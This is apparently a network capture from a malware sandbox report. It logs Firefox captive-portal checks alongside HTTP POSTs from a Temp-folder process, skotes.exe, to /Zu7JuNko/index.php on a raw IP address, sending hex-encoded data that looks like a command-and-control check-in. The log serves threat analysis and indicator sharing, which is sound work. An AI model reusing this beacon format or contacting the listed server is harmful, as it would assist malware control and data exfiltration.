Oct 31, 2024 01:20:50.245727062 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 71377 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 01:20:50.392292976 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 01:20:50.522061110 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 71377 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 01:20:50.583425999 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 01:20:50.714745045 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 71377 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 01:20:51.063287973 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 01:20:51.189907074 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 71378 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 01:20:55.811233997 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 01:20:55.937799931 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 71382 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 01:21:03.432931900 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 01:21:03.560156107 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 71390 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 01:21:06.707084894 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 01:21:06.833928108 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 71393 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 01:21:16.934432030 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 01:21:19.034574032 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 01:21:19.161195993 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 71406 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 01:21:19.689584970 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 01:21:19.817905903 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 71406 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 01:21:27.491615057 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 01:21:27.618634939 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 71414 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 01:21:37.646564007 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 01:21:47.734821081 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 01:21:48.889043093 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 01:21:49.015672922 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 71435 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 01:21:49.522877932 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 01:21:49.649621010 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 71436 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 01:21:59.735610962 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 01:22:08.446475029 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 01:22:08.572771072 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 71455 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 01:22:18.646771908 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 01:22:28.733505011 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 01:22:38.835963964 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 01:22:48.935609102 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 01:22:58.999609947 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.6	50134	185.215.113.43	80	2488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:20:49.210093021 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 01:20:50.026155949 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:20:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.6	50141	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:20:49.606471062 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.6	50145	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:20:49.908473969 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.6	50148	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:20:50.254610062 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.6	50150	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:20:50.538069010 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.6	50151	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:20:50.787513971 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.6	50153	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:20:51.198681116 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 01:20:51.794194937 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 30 Oct 2024 04:30:51 GMT Age: 71400 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 01:20:55.939981937 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 01:20:56.062645912 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 30 Oct 2024 04:30:51 GMT Age: 71405 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 01:21:03.564224958 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 01:21:03.687216997 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 30 Oct 2024 04:30:51 GMT Age: 71412 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 01:21:06.836982965 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 01:21:06.959924936 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 30 Oct 2024 04:30:51 GMT Age: 71415 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 01:21:17.035244942 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 01:21:19.167149067 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 01:21:19.290028095 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 30 Oct 2024 04:30:51 GMT Age: 71428 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 01:21:19.821738958 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 01:21:19.944469929 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 30 Oct 2024 04:30:51 GMT Age: 71428 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 01:21:27.622834921 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 01:21:27.841861963 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 30 Oct 2024 04:30:51 GMT Age: 71436 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 01:21:37.928159952 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 01:21:47.936132908 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 01:21:49.019828081 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 01:21:49.142530918 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 30 Oct 2024 04:30:51 GMT Age: 71458 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 01:21:49.651806116 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 01:21:49.774790049 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 30 Oct 2024 04:30:51 GMT Age: 71458 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 01:21:59.836308956 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 01:22:08.579947948 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 01:22:08.702912092 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 30 Oct 2024 04:30:51 GMT Age: 71477 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 31, 2024 01:22:18.828061104 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 01:22:28.934588909 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 01:22:39.037034988 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 01:22:49.137053013 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 01:22:59.229732037 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.6	50154	185.215.113.43	80	2488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:20:51.549391985 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 37 32 45 37 36 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B72E76B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 31, 2024 01:20:52.461105108 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:20:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.6	50155	185.215.113.43	80	2488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:20:54.086699009 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
